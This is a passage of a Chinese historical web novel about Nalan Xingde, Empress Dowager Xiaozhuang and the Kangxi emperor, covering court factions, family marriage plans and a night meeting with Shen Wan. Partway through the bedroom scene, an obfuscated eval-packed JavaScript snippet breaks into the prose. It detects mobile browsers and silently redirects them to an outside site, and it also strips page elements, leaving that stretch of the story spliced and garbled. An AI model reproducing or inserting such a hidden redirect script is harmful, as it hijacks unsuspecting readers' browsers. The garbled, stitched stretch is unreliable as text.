孝庄对卢氏点到为止,没有再提“八旗关系利益”之事,而是道: “你去坤宁宫陪着皇后吧!我见皇后每日强打着心神为皇上操持后宫之事,也是又心疼她又放不下她。你入宫后正好,遵了我的意思:到皇后身边去陪着住着,选秀之事也帮着她分忧分忧。” “是。臣女听太皇太后的。” 卢氏向孝庄行了一礼,然后退下了。 * 距离除夕还剩十日时。 一个看似风雪也为纳兰公子消停的早晨,侧暖阁的正门忽然从里面被纳兰公子打开。 外头把守的统卫们大惊,很快,他们又像是觉得一切都合乎情理一般,皆是作揖行礼道:“奴才等请纳兰公子安好!” 纳兰雅道:“尔等不必多礼,容若安然。” 纳兰步步走下阶梯,站在空旷的庭中,抬头仰望惬意的高空。 他深深地呼吸了一口好久未有的新鲜空气,张开双臂拥抱着一片虚无却有实感的光影。 他的侧脸完美地镶嵌进了这一幕安静之中,无画师可画,只有文章可赞: 曾预纳兰香,天不惜玉露。 药屑入零泥,花颜偏留驻。 冷暖交成梦,拟词相思顾。 为谁成千秋,才高应遭妒。 纳兰不卑不亢地走进慈宁宫正殿,单膝跪在孝庄面前,道:“臣纳兰性德给太皇太后请安,太皇太后吉祥。” 孝庄慧眼赞许道:“是个明谋善断且胆识过人的孩子。快免礼吧!” 苏麻喇姑倒是没想到纳兰公子会自己走出来,就问:“公子怎么……” “苏嬷嬷,我选择在这一天结束领太皇太后的罚,主动从侧暖阁出来,是因为自觉《天下地形图》之事已了,朝廷上下已经平息风波,该自己给太皇太后一个交代,也给大清国皇上一个交代了。” 孝庄问:“你打算怎么交代?” 复又对苏麻喇姑道:“苏嬷嬷,去给纳兰公子拿盖膝的软毯来,我已经让他坐下说话了。” 纳兰谢过孝庄后,清明道: “臣在侧暖阁被囚半个月,外头诸多风云变幻,都是臣所不知道的,但是臣在阁内却日日安稳,足以猜测太皇太后和皇上之间祖孙关系和好,才能共同稳镇朝纲,不让年末发生贪污舞弊、榨取民财、假粮济仓、长河不通……之事。” “政通才能人和,有太皇太后的幕后加持,有皇上的勤学苦练,大清国国运蒸蒸日上,今年一定是个好年。待到年后,皇上擒贼亲政,则是喜上加喜,太皇太后若是觉得臣对大清有用,就继续留下臣陪着皇上;若是觉得臣对大清无用,就将臣革职罢出皇宫之外吧!臣没有怨言。” 见苏麻喇姑帮纳兰盖好软毯后,孝庄就让她先下去、不必在一旁站着了。 “纳兰,我算是爱新觉罗家最大的长辈,出于各种原因我惩罚过许多人,但是从未见过像你这般主动走到我面前来:自己给自己解罚的。” “臣想着,皇上都已经明白太皇太后的良苦用心了,臣当然也不能做个庸碌待毙之辈。” “你不必抬举皇上,是你自己想透彻的、就按照自己的那份透彻来回话。” “臣被囚在侧暖阁之事,注定了不能由太皇太后来下赦令,只能由臣自己开悟、悟得这样的方法破局才是正确之举。若是太皇太后主动赦臣,臣背负的只是‘恩赦’之名,外头对臣的不满言论只会增不会减;反之,若是臣主动走出,让那些人看看臣这一身风骨、一身傲气,就能一箭双雕:为自己正名,也为太皇太后和皇上终止非议之声。” 孝庄主动坐到了纳兰身边,像对待自己的亲孙儿一般,慈爱道:“纳兰,你说你这么懂事、通透,得到了什么呢?” “一份好心情。”纳兰微笑道,“太皇太后您看,雪天都为我放晴了。我心中感动至深。” “在这深宫里面,安抚人的情绪的最好的方法,就是予他赏赐。但是对纳兰你,却是不同。” 孝庄把纳兰的手放进软毯里,让他不必拘礼,温着就好。 “是不同,皇上也这么说。但臣想听听太皇太后对臣的看法——” “你呀,会叫喜欢你的人不惜一切地将你占为,会叫厌恶你的人千方百计地将你毁灭,更会叫仰慕你的人觉得永远遥不可及。无论是君臣关系、父子关系还是朋友关系,甚至包括感情,你都有着罕见的真挚与深邃,你不敢全乐、又不愿全悲,所以你会徘徊在一份‘伤’之中,可是你……却又过于懂得如何疗伤,包括疗不可好和不会好之伤,这正是我所担心的。” “所以我说——”孝庄摇了摇头,“我不懂的如何安抚纳兰公子。这半个月里,让你受冻受苦了,这里总归是没有你家里周到。” “那,臣可以向太皇太后讨一份恩典吗?” 孝庄以为纳兰是为自己,就答应道:“你说。” “太宗皇帝的后宫五宫皆是蒙古妃子,满蒙联姻之意不言而喻。年关将至,按照大清祖制,除夕的午后,皇上需要在保和殿接待蒙古王公且与他们一同进午膳,以显满蒙一家、江山永固。此中必定会提及春来的选秀之事,若是皇上在态度上有失偏颇,臣请太皇太后原谅皇上、帮皇上圆场。” “你说的恩典是这个?为皇上讨的?” “是。蒙古对大清有重要意义,而皇上未顾亦是事实,所以为了以防万一,臣先一步向太皇太后提了这件事。” “你知道我是蒙古出身,所以你体谅我的感受;同时,你又知道皇上一心扑在宏图抱负之上,无心选妃和交好蒙古之事,所以你希望我能让皇上意识到:除了国事之外,家事也重要。” “如太皇太后所说。” 孝庄叫了苏麻喇姑进来。 “苏嬷嬷,悄悄地传我意思到皇上耳中去:罢免户部尚书、光禄寺卿、礼部堂官。” 苏麻喇姑问:“请老祖宗的意思,要是皇上追问仔细,奴才要怎么答?” “不必答。”孝庄应道,“皇上要是不知道我要传达什么,就说明他真的是对后宫之事全然不顾,那我就只能亲自对他训话了。” “是,奴才现在就去跟皇上说。” 孝庄对纳兰道:“你这个恩典讨的很是时候,你可知道?皇上不顾后宫已久,皇后和敬事房想了很多办法就没能让皇上回心转意,但是有你这一提醒过后,我想皇上一定会重视后宫和接下来的选秀之事。” 纳兰微惊:“臣的本意并非是在皇上的家事上,而是考虑到蒙古……” “我知道。”孝庄意味深长地一笑,“但是纳兰啊,这回你真的是给我解惑了,也给后宫解难了。” * 将119颗十四瓣的金刚菩提子穿好素绳,再费了细致的功夫“校养”和“凭梵”了一番之后,玄烨终于确信:朕亲手给纳兰做的菩提手串收工了。 顾问行照着玄烨的眼神,仔细收好装满了“皇上的心意”的方盒之后,道:“万岁爷,算上今天,就是您和纳兰公子没有见面的整整十五天了。” “哪那么多嘴呢?”玄烨反问,“半个月算什么?朕跟纳兰又不是只能一期一会。” “万岁爷,奴才还要再多嘴一句,今天也是您整整半个月未去坤宁宫见过皇后娘娘的日子。” “后宫的女人,又不是没有朕就活不下去!”玄烨没好气道,“她们天天在盼什么?盼朕分心、耽误大志,还是见不得朕专注国事?真是个个自私。” 顾问行正要答话,苏麻喇姑就来了。 “奴才给皇上请安。” “苏嬷嬷,这里只有朕和顾总管,你何需行礼?” “老祖宗有句话,叫奴才告诉皇上。” “好,朕听着呢。” 玄烨以为是释放纳兰之事。 “请罢免户部尚书、光禄寺卿和礼部堂官。” 苏麻喇姑来到皇上身侧,在皇上耳边悄声相告 “好,苏嬷嬷你给皇阿奶回话,就说朕知道了,会照做。” “是。那奴才就不打扰皇上,先行告退。” “顾总管,你去送苏嬷嬷。” “苏嬷嬷请——” 玄烨一琢磨,觉得应该是这么回事: 户部负责皇宫后宫的选秀之事、光禄寺负责年末的一切设宴和款待事宜、礼部堂官负责除夕期间各项活动的衔接。 也就说,皇阿奶是嫌弃朕对后宫不够上心,光顾着天下这个“大家”,而疏忽了婚后生活那个“小家”。 再有,选秀之事朕虽至今未曾主动过问,但户部尚书不主动 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哪怕是像顾问行这种伺候了皇上多年的大太监,也有不晓得皇上的心境的时候,就只好问:“万岁爷,奴才已经叫人去坤宁宫给皇后娘娘传话,想着皇后娘娘也已经在准备了,您这般爽约,怕是……” “皇阿奶这般要朕连罢三名官僚,不是因为皇后。” 玄烨开悟起来,因为那三名官僚都是索党之人,皇后不可能跟自己的亲叔父过不去。进一步说,用这种方式来规劝皇上重视后宫,也不像是皇后能够想出的计谋。 “朕想,此事如果不是皇阿奶个人的意思,就是他。” 顾问行一头雾水,“奴才愚钝,私以为这是皇上家事,不该为外人所管。” “他管的不是朕的家事,而是朕的国事。只是皇阿奶硬往家事上面去给朕说理罢了。” 玄烨走向养心殿。 顾问行给身后两名小太监递了眼色,意思是: “你俩好生去给皇后娘娘回话,就说今儿皇上不过去了,让皇后娘娘勿要再劳神等待。” 玄烨自语:“这样一来也好,他让朕在家事和国事上都有发挥处理能力的余地。朕就是喜欢这种兼顾两头的充实感,朕不怕事多,怕的是事太多而自己没注意到里面的门道。” 顾问行没有说话,只在皇上身边跟着。 “顾总管,你去慈宁宫替朕向皇阿奶要个人。” 比起“奴才不敢”四个字,顾问行问的是:“太皇太后能答应皇上吗?” 玄烨也不正面回应,只道: “你见了他,就跟他说:‘偷闲半个月,想家应当,但也别忘了:康熙皇帝的武功长进了,养心殿外的菩提树也比之前更有生机了。午膳,朕简备了素宴在菩提树下。’ ” 顾问行立刻照办。 无论是去慈宁宫请命,还是去御膳房交代差事,他都照着皇上的意思去做妥帖了。 * 年尾发生革职高官之事,朝野上下皆惊。 索额图想在下朝之后大骂明珠奸诈,最终还是忍了下来,只道:“我不想自己失了分寸,明珠你也莫要欺人太甚。” 明珠作为一个无辜之人,对圣意只做揣测而不做明说,冷道:“索额图,做人要知足,你个人只是被皇上降职,而那三人,皇上是招呼都没打一声就当着群臣的面,将他们罢官遣乡。还是悠着点好,难保在将来某天,你我也忽然遭逢一样的变故。” 索额图恨道:“闭了你这张乌鸦嘴吧!谁会跟你一同遭变故?呸。” * 索党的密室之内。 显摆着一桌不输年味丰盛的饭菜和数坛美酒。 看来,人在气头上,用吃吃喝喝来发泄情绪也是有的。 “明珠的宝贝儿子一出来,皇上就恨不得‘设简宴招待’和‘连着罢免三位没有犯错的官僚’来叫那对父子得意,置我索党众人的颜面于何地?” 索额图抽了一下嘴角,“这般哄着纳兰让纳兰高兴,我看规矩可以不要了,朝纲也可以不要了!” 兴必察道:“真是奇了,之前鳌拜大人放出口风,说的是皇上想要搜集别的罪严惩纳兰误国,如今怎么反过来了,皇上的所作所为全是讨纳兰欢喜的?” “君心易变,何况鳌拜是迟早要被除的!” 辜鸿玳说了句有意无意的题外话:“纳兰公子吃素。” “半素而已。”索额图把情报探的明白,“但是他的身体情况,注定了吃不了油腻。就好比是你我面前的这桌子菜,他一样都动不了筷。” “受牵连的都是我索党之人!”索额图气道,“还将本官逼到了敢怒不敢言的地方,真是算计的高明啊!” 李光地道:“只怕是明珠那只老狐狸,往后不知道会教唆他家的贵公子在皇上耳边吹什么风,让皇上再兴不利于我方的举动。” “狠,实在是狠!”索额图拿刀猛切了一下烤乳猪,“手中的美玉一朝重放光芒,明珠就刷刷地报复起我来了。” “咱们也报复回去就是了。”李光地大胆道,“人不欺我,我不欺人。为了我索党的利益,咱们不得不置之死地而后生呐!” 索额图冷哼了几声。 只顾自己吃饭,边吃边想后续的万全之策。 不,不该说是“万全之策”,而该说是:卑鄙下作之策。 29.第29章 纳兰惠儿探头往窗外一看,天气比寻常好了许多。 她在心里默想:表兄要回家了…… 果然,表兄从皇宫驰马而回。 她迎了上去,洒脱地牵住了那匹骏马的缰绳,仰头看着容若道:“表兄这副身姿,极好!大清的纳兰公子,功夫也是别人所不知道的极好。” 容若利落地从马背上下来,笑道:“惠儿觉得我是,想必我就是。” 容若进入内厅,看见了原本养在别所的自己的两个小弟弟:揆叙和揆方。 换做之前过年时的正经礼数叫法:“长兄。”这回这两个小家伙是欢呼着叫:“容若哥哥,容若哥哥。” 容若满心欢喜,蹲在揆叙和揆方面前,问他俩在别所过得好不好?回到家里会不会认生? 照顾揆叙和揆方的嬷嬷笑道:“小公子们都嚷着要见大公子,说要跟大公子一起过年,这样大公子在除夕夜就不是一个人。奴才只怕自己失言,但奴才说的是实话。” 容若不介意,对嬷嬷道:“一家子,多好呀!我也盼着揆叙和揆方常回家。” 见两位小公子用小手握着暖着容若的双手,惠儿感动道:“锦衣玉食,不如閤家薄饭;父子君臣牵绊,不如兄弟亲温。” 容若朝惠儿一点头,然后对揆叙和揆方许诺道:“明日一起去渌水亭赏冬景,长兄让阿玛额娘和惠儿姐姐也一起好不好?” 揆叙和揆方高高兴兴地跟容若拉了勾,又齐齐对嬷嬷道:“要早些叫醒我们,我们要比容若哥哥和惠儿姐姐先起。” 容若和惠儿闻声皆笑,小孩子的心思最是纯粹,认定了的事情,就会有动力达成。 “额娘。” 容若见觉罗氏来了,连忙起身问安。 觉罗氏上前,拉容若到一侧道: “额娘问小揆叙有什么抱负,他道:‘将来我要跟容若哥哥一样在皇上身边当陪臣、也要跟容若哥哥一样:以进翰林院为目标,好好做学问!’ ” “额娘又问他:‘三藩之一耿精忠的三弟耿聚忠娶了安亲王岳乐之女和硕柔嘉公主为妻,生一女耿灼华,灼华格格与你年龄一致,长大后你可愿意娶灼华格格为妻?’揆叙说好。” 容若在觉罗氏耳边道:“日后皇上削藩,必定以安亲王岳乐为帅,阿玛的立场肯定也是主张削藩,额娘这般为纳兰家筹谋,想必阿玛得知后会十分欣慰。” 觉罗氏拉着容若的手往里屋走,厅内只留下惠儿跟两个小家伙玩耍。 惠儿看着容若的背影,倒是有种想让他:先歇一歇、再谈家事国事不迟的念头。 * 容若的书房中。 明窗半开,袖云细心给夫人和公子奉上了热茶。 容若顾全大局道:“耿精忠若是联合其他势力叛乱于朝廷,额娘务必要给和硕柔嘉公主传个信,让她说服耿聚忠先一步请罪于皇上、并且与耿精忠彻底断绝兄弟关系,才可让一家自保。儿思忖着:日后安亲王岳乐必定会念及这份——纳兰家救其爱女柔嘉公主与额驸耿聚忠的恩情,将柔嘉公主之女耿灼华嫁入纳兰家。” “容若,额娘这么做,还有更深一层的用意,你可能够猜到?” “能够。” 容若饮了一口淡茶。 “索额图的侄女赫舍里为皇后,她诞下之子或将成为皇太子,这是对索党最有利的一张牌。阿玛安排惠儿进宫,惠儿毕竟只能到妃位,日后子凭母贵或是母凭子贵皆是难料。” “所以额娘站在女性的角度,为阿玛的胜算多走了一步棋:安亲王岳乐的孙女众多,在将来,其中必有下嫁为皇上之子当福晋之人。而柔嘉公主之女灼华格格,同样是岳乐的孙女,她嫁入纳兰家后,可以跟额驸揆叙一同常常出入宫中,这就意味着:灼华格格可以跟她的福晋姐妹们见面,揆叙也可以跟皇子们处好关系,一旦上演皇子们夺嫡,阿玛可以凭借揆叙的判断来选占阵营。” “没错,额娘正是此意。” 这么说的时候,觉罗氏的神色有些悲伤。 “揆叙还那么小,就要被做如此筹谋,额娘心中有愧。额娘亦是怕随着他一天天的长大,会忘记过答应额娘的娶耿氏灼华的承诺。” 容若道:“对纳兰家有益之事,纳兰家的每一个人不都在做吗?额娘你看:阿玛在朝中揽权是为了纳兰家、惠儿参选秀女是为了纳兰家、额娘的每一步是为了纳兰家、儿在父和君之间找到平衡点也是为了纳兰家。弟弟揆叙……是个懂事的人,会谅解额娘的苦心。” 觉罗氏伤神道:“唉,为揆叙的亲事着想过以后,难免也会想到揆方啊……” “年关近了,额娘别叹气。”容若温言安慰,“儿的亲事,自当谨慎大局为重,不让阿玛和额娘为难就是。而揆方,不如就给他自由吧?” “不成啊。”觉罗氏伤心摇头,“之恨我之所出,三个都是儿子,都是要置身到国家大事和家族荣耀当中去考虑的儿子啊!哪是嫁女儿的那般草率可比的?” 容若笑问:“那额娘您,可为儿挑选过好姑娘?” “我跟老爷说过,容若的亲事,就让他自己挑门当户对的、喜欢的姑娘就好。老爷说好,容若自己有判断,娶谁不娶谁,说到底不是遂了哪方利益关系的愿,而是小两口的日子能过的舒畅、相处之中能觅的幸福。” “谢阿玛额娘开明。” 觉罗氏拍了拍儿子的手背,理解又心疼地点了点头, 接着,觉罗氏叫侍女袖云去她的房间取放在香鼎前的方盒过来。 “这个是妙觉禅师给你的菩提子。”觉罗氏把带着淡香味的方盒放到容若手中,“你喜欢菩提,菩提也养人,相合相长正好。” “不知道妙觉禅师对儿有何叮嘱?” 容若从额娘手中接过方盒,没有急着打开。 “禅师说,首先是别累着自己、其次是削除繁杂心绪、最后是该养着的时候还是得养着,勿要勉强自己多做事才是。” “儿听禅师所言。” 容若正要打开方盒来看,就听见了嬷嬷的声音:“次公子来了。” “快把揆叙带进来。”觉罗氏疼爱道,“母子一起,说多少话也不嫌多。” 揆叙进来后,径直上了长榻,坐到了容若身侧。 他蹭着容若的半身,掀开容若盖着的暖被一同取暖,然后拿出一张墨迹才干的纸来,道:“揆叙写了一首词,给额娘和容若哥哥看看好不好——” 遂念道: 冰开芳沼碧粼粼,自初春,到残春。柳暗花明,游舫簇波心。千点落红风卷尽,吹不断,影中云。 澄澜如镜跃纤鳞,乍轻阴,又浓阴。夜雨袭来,新涨没篙深。便欲乘流天上去,试验取,谪仙吟。【注1】 “额娘您看,揆叙也是为了纳兰家,您别觉得他年纪小。” 容若指向那句:乘流登青云,风卷落花红。 “额娘放心吧,揆叙会答应额娘在将来娶耿氏灼华格格的。” 说着,容若提起桌案上的笔,给弟弟的词作修改了一个字:“ ‘袭’字没有‘添’字好,长兄是这么想的,你觉得呢?”【注2】 揆叙用稚气的童声道:“的确是‘添’字好,请额娘和容若哥哥放心,揆叙从来没有忘记过自己是纳兰家的二公子。” ——纳兰家的公子,个个都是自小起,就才思敏捷,聪慧如此。 ——天上注定之事,件件都无从逆改,只能接受罢,福祸难言。 觉罗氏把两个儿子揽在怀中,拼命忍着,不让眼泪掉下来。 * 明珠到家。 第一件事就是去书房见容若。 “阿玛看看,你还好不好?” 明珠上下打量着容若,就跟是怕美玉被冻裂了、困坏了一样。 “儿很好,皇上也很好。” “索党之人,一下子连削三名官员,你知道是怎么回事吗?” “儿跟太皇太后论国事,怕皇上得罪除夕来朝贺的蒙古之众,叫太皇太后到时候要陪同皇上一并出席家宴并且多多担待皇上的表现。结果,太皇太后按照家事来处理了,罢免那些跟‘家宴’和‘选秀’之事相关的官员,就是为了提醒皇上多多重视后宫。” “你为皇上着想自然是好,只是这样一来,索党之人就更加记恨你了呀!” “大清要强盛,皇上要亲政,离不开蒙古各部落的支持,在年关拉拢好这部分关系,对皇上只有好处没坏处,儿不方便对皇上直言,才如实地对太皇太后说了。” “你是不是没想到老祖宗会来这么一手?” “儿有想到太皇太后会有所行动,只是没想到是这招。” 父子俩走出书房,缓步于铺满了月色的长廊中。 明珠告诉了容若好消息:“老祖宗恩典,准你在除夕夜陪伴皇上写岁末把笔,你可千万切记:让皇上写自己的字,别照抄了你的成稿。老祖宗还许了我与你额娘一并进宫去陪你吃年夜饭,这些,真是我明珠想都不敢想的殊荣。” “那,揆叙和揆方,还有惠儿呢?” “揆叙和揆方我自然是要一并带着进宫,有小孩在,能够增添生气和乐趣,老祖宗铁定喜欢。至于惠儿,这个除夕不得不委屈她了啊。” 换成别家血气方刚的公子,定是会据理力辩,死活要把一家字一个不落地带进宫中去涨见识和陪太皇太后吃团圆饭。 但是容若不一样,他对明珠道:“儿会好好跟惠儿说。” 明珠道:“这宫里的年味,惠儿往后就是一年一年地过了,不差这一回。虽然这一回最为不同、最为珍贵。” 跟明珠道晚别的时候,容若本想把额娘的筹谋告诉他,但最后还是做了罢。 一来,是他觉得那些事还是额娘自己去跟阿玛合适;二来,是他怕阿玛借机说起他的亲事。所以,还是不说的好。 * 容若站在庭院中央,仰头望着月亮。 呼入一口气,又微合眼缓缓一叹—— 叹惠儿、叹揆叙、也叹自己。 这里面人人都有的无奈,哪是说的清的? 惠儿,表兄不为你争不是怯懦,而是贪心过多是行走宫中的大忌; 揆叙,长兄让你记得额娘的话,不是左右你的将来、而是希望你能扛起纳兰家; 容若,你看你自己,明明说过不能在年关叹气的,怎么食言了?明明答应过额娘,会把妙觉禅师的叮嘱记在心里、好好善待自己的,怎么当天就打破了? “对不起,真的对不起……” 影清人独立,冷暖谁知他? * 寝室里。 袖云为公子安置好一切、且吹灭了灯之后,就退下了。 不一会儿,沈宛就潜了进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352830|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一如既往地让容若惊喜,一如既往地给容若注入了一股生机。 “公子,是我。” “我知道,是宛卿。” 容若侧过身,在逆光的月色中,看见了沈宛的脸的轮廓。 “我今晚睡的早,但我怕阿玛和额娘还没睡呢,你来的这么突然,真不怕忽然有人敲门进来、叫我去共商明珠家事?到时候你躲哪儿?鹅暖被里侧吗?” “好呀!”沈宛顺了公子的意思,“我可是从来没用过这么好的保暖之物,不如给公子做个暖床之人。” “我是认真的。” “我也是认真的。”沈宛无缝一接话,然后道,“已是快一个月未见到公子了,所以心慌。” “我,想公子了。”沈宛一字一句道。 “那晚在慈宁宫侧暖阁叫我的人,不是你?” “咦?”沈宛吃惊,“当然不是我。我动过进皇宫的念头,但最终还是打消了。原因嘛,跟你想的一样。” 容若好奇:“你怎知道我就想过了?” 沈宛自信:“纳兰公子的心事,只有我知道。” “看你,这不就是承认了吗?”容若扑哧一笑,“还说喊我名字的不是你。” 沈宛呆望了好一会儿公子的笑颜,才回过神来道:“真的不是我。” “我倒不记得慈宁宫有过别的女子进出。”容若真挚看她,“宛卿,谢谢你,那一晚,我很冷、全身的骨骼入里地疼痛,但是还是睡下了、熬过去了。” 沈宛本还想再解释一遍:公子,喊你名字的人,真的不是我。 但见公子已然是认定了自己的判断的模样,就不再多说了,只瞧着侧身而卧的公子道:“月色向公子晏晏,我羡慕不来。公子此时的侧颜,美甚。” 沈宛趴在容若的床沿上,视线跟他持平。 “每次你来,都坐了地板,我……” “又不是富贵花,坐地板有什么关系?” “那我陪你一起坐着。” “公子别起来,我心疼。” “有两件事想跟宛卿聊,第一是:你们汉人怎么过年的?别笑我,我真的不知道。第二是:今日我好像给弟弟施了压、让他在额娘面前做了选择,我没有故意,只是事后才发觉自己这么做不好,你说我要不要跟弟弟道歉?我怕不提他不会在意,提了反而叫他生了意识。” ——我又不是你阿玛,为什么你还是要抱着那么些层次和逻辑来说话? ——是当心自己说错了话会被责怪吗?还是在下意识地保护自己? 沈宛想说的,是这两句。 但是说出口的却是:“纳兰公子总是一如既往的谨慎,说话会小心翼翼地遣词造句,换做别人,我定是不能忍的。” 沈宛露出了“你知道我的脾气和性子吗”的表情。 的确是如此: 她自小跟两亲失散,从江南跟随师傅宋应星漂泊在各地,最终在京师的隐秘之处落脚,注定了是个飒爽英姿、豪快处事的女子。 要不是自身喜爱字画且通晓诗词,又怎么会被一身才气的贵公子所吸引?哪怕贵公子是只笼中鸟,染尘怕脏、见雪会化,也对他心心念念? “那你为什么珍惜我?” “嗯,我想想。因为纳兰公子像是一株雅兰,低调送香,惜己爱人。” “公子,汉人们过年,桌子上全是大鱼大肉,亲戚间全是大大小小无聊的家常,院子里全是一片红火热闹……而且连续十天都要在早起后说吉祥话,象征着新的一年十全十美。要是把你扔进汉人的年味里,看你恐惧失色的神情,看你落荒而逃的样子,可好了!” 容若格外淡定,用的平和之中带着丝小失落的语调问沈宛:“那你说,我这辈子有机会体验这样一次汉家年味吗?” “娶个汉家女子不就好了?”沈宛直观道,“你就往汉军八旗里面挑自己看得上的女子。” ——我吗?我没有那样的机会。 ——即便是机会摆在眼前,也不过是在无形的压力中做出最佳选择罢了。 容若心里清楚的很。 “看着皇上大婚后无心后宫妃嫔,我就不觉得姻缘能给自己带来什么心事上面的抚慰。就好比是无人相逼,自己却不得不屈服一样,到头来还是没有自由,所定夺出来的结果:只是一个大家都觉得纳兰公子会这么做的结果而已。” “这可说不好。”沈宛拿出手帕轻点容若的眼角,“日久生情终将合,去留舍去天注定。莫道当时只寻常,消的饮酒自思量。” “你是说,挑了就要接受对方吗?” “她会一心一意对公子好的。” “又是个未卜先知的结论。” “公子这么好的人,不管是谁相嫁,都会一心向着公子。我是女子,我喜欢公子你,所以我知道。“ 沈宛的表白,容若听罢,倒是想问一句: 宛卿你对自己的姻缘有得选,这就比我好。你选了我,我高兴、高兴的很……只是,你真的不后悔吗? 【注1】纳兰揆叙作品《春水江神子》 【注2】 明珠家事/又名:纳兰家日常 一个“添”字,容若向弟弟揆叙暗示的是:娶妻之事,额娘不知你是否还记得?要是能给纳兰家添一个对一家子都有好处的女子,那你就好好回应额娘吧。 30.第30章 “孙儿谢皇阿奶!” 玄烨一早去慈宁宫给孝庄请了安,得知孝庄做主了—— “纳兰在除夕入宫、一并在皇上书写‘岁末把笔’时伴驾“这件事时,心情豁然开朗,满脸都是兴奋。 往回走的路上,玄烨对顾问行道:“你说朕要是固执,非要用纳兰的原文来当作‘岁末把笔’的内容呢?” 顾问行甩了一下拂尘,让其他太监宫女都离皇上一段距离跟着,才道:“万岁爷想什么呢?纳兰公子陪着,他能让您这么干吗?” “要是朕就当着纳兰的面,说自己的文采不如他呢?” “哟!那可不成,您是皇上,这句话说不得。”顾问行仔细着道,“别说大清朝没有这样的皇帝,大清朝之前也没有。” “要是朕叫纳兰现场再另写一份,他敢应吗?” “万岁爷您之前不是答应过纳兰公子,不再在‘岁末把笔’的事情上为难他了吗?何况您还把他写给明珠大人的藏书阁的楹联给强行要走了,现在那对楹联您也没看啊!” “朕真是无能,为什么想为纳兰好,做出来的事情却是件件不讨他好。” “万岁爷,这不叫无能,身边能够有一个接得住君主的刁难的臣子,换个说法,就是君主圣明啊!君主考验臣子,臣子对策君主,这君臣关系坦荡,载入史册就叫做佳话。” “朕现在去皇后那里。” “奴才不敢叫人去坤宁宫传话。” “顾总管,你是越发会当差了,朕的话都敢不听?” “万一万岁爷走到一半,又要折返养心殿去看菩提树,奴才没法对皇后娘娘交代。” “这次朕就是直接去坤宁宫看选秀的名册的,不然就是朕没法给皇阿奶一个交代。” “那奴才就放心了。皇上摆架坤宁宫——” * 坤宁宫中,赫舍里皇后带着不悲不喜的表情参见了皇上。 玄烨来到软榻上一坐,开口就是一句:“朕今天不会在皇后面前提纳兰,皇后不必这般端着矜持来对待朕。”复又问:“皇后身边什么时候多添了一个人?” 顾问行在玄烨耳边小声道:“万岁爷您不能这么说,这不表示您不重视打扮的漂漂亮亮的皇后娘娘,而把注意力都留意到了她身边的女子身上吗?” 玄烨不管,走到那女子面前问:“你是哪里出身?何时来到坤宁宫的?” “回皇上,奴才卢氏,汉军镶白旗出身,阿玛因公殉职后,太皇太后将奴才从广东接到宫中抚养,现在奴才是坤宁宫中的女史,日常与皇后娘娘一同温书写字。” “皇后有在你面前口出过对纳兰性德的不满之言吗?” “没有。” “那就好。”玄烨满意一笑。 ——原来皇上的侧重点不在那个女子的姿容上,而在询问别的事情上。 顾问行放下心来,继续在玄烨身边伺候着。 赫舍里把新一届秀女的名册拿给玄烨看,玄烨一页一页地翻,翻到最后,玄烨道:“满清的婚配,什么都讲究门当户对,朕真恨不得叫上纳兰一起,把这项制度给改了!” 赫舍里冷问:“皇上,您刚才不是才对臣妾说过,不在臣妾面前提纳兰公子吗?” “好,是朕不对,不提就不提。”玄烨放下名册,“皇后,正月的第一天,午后朕要去接见从蒙古而来的要员,与他们一同饮酒、吃饭、看特技表演,你随朕一同去。” “是。”赫舍里应道,“蒙古向来都大清的盟友,为了江山永固和边地安定,臣妾请皇上不要忘记纳选蒙古出身的嫔妃。” “难得你有这份心胸。”玄烨赞许道,“朕知道轻重,会择优而挑。” “皇上,年末各宫的换新之物和恩赏之物的清单,内务府已经拿来给臣妾看过了。臣妾以为,不宜奢华,恩赏之意尽到、更换之意有到,就是安乐和谐,就表示皇上的恩泽已经到位,无需再添铺张。” “后宫事宜,都交给皇后做主就是。” “臣妾还有一事要跟皇上说,一些嫔妃想将宫中的好物往家里送,说是给家里送福气,同沐圣恩,已经在臣妾面前说过多次了,臣妾未曾明确回应,想听听皇上的意思。” “后宫要是开了年节往老家送宫宝的例子,以后一年三百六十五日还收的住吗?到时候再节外生枝出一些宫女太监私盗私卖宫宝的事情来,岂非伤了皇家颜面?更何况那些人的心思不简单,暗藏玄机于往来之中,做出些买官卖官的事情来也不可避免。所以朕的意思的是:坚决不许。” “那皇上可要将提出过想法的嫔妃们一一治罪?” “小惩大诫,罚她们三个月月俸。教导之事,就交给皇后去办。过后,朕也会跟皇后一起,肃清后宫之中的不正风气和小女子们的苦心经营之计,不让乌烟瘴气笼罩了原本应该清静的六宫。” “皇上考虑周全,臣妾自愧弗如。” “赫舍里,咱们呀,夫妻之路还长着,只要你不跟叔父索额图沆瀣一气,朕就当个好丈夫,绝不辜负你。” “是,臣妾的心,只向着皇上。” 玄烨一整天都在坤宁宫中度过,且夜深之后,也是在皇后的枕边歇下。 顾问行是大大地松了一口气,皇上要是能多多去后宫走动,何愁不早日给太皇太后添上龙子龙孙? * 明府,小亭台。 伴着月光,容若和惠儿一起煮粥、品夜宵。 “玉兰花鱼片粥,就要这么在四面通风的环境里煮着吃才鲜美。” 惠儿看着小围炉上的那口小铁锅,里面的米不多,都是她一粒一粒精挑过的。 就跟她未告诉容若那般:明珠托人送到慈宁宫侧暖阁里的药盒里面的松子仁,也是她一颗一颗为容若剥的,因为她念着容若的喜好,知道容若在饮药之余爱嗑些坚果解苦。 “阿玛叫厨房弄再多的素山珍给我吃,也不如惠儿你为我准备的这一份小暖锅。” “冬季捕捞鲜鱼不易,表兄吃些鱼片吗?” “要的。”容若把浅口的玉碗递给惠儿,看她把鱼片夹进漏勺里,在粥汤上面滚了几下,再装进碗里。 “许多人吃玉兰花鱼片粥的顺序都错了。”惠儿笑道,“以为生鱼片跟玉兰花一并煮、一并舀然后添些盐为佳。实际上,就该是像我这般,一步一步来,把瞬间滚好的鱼片捞起放入碗底,再添没有粥汤的粥米,再盖上一片仔细清洗过的鲜摘的玉兰花到粥米上,复浇上一勺热粥汤才好。” “为什么鱼片要放在最底下?” 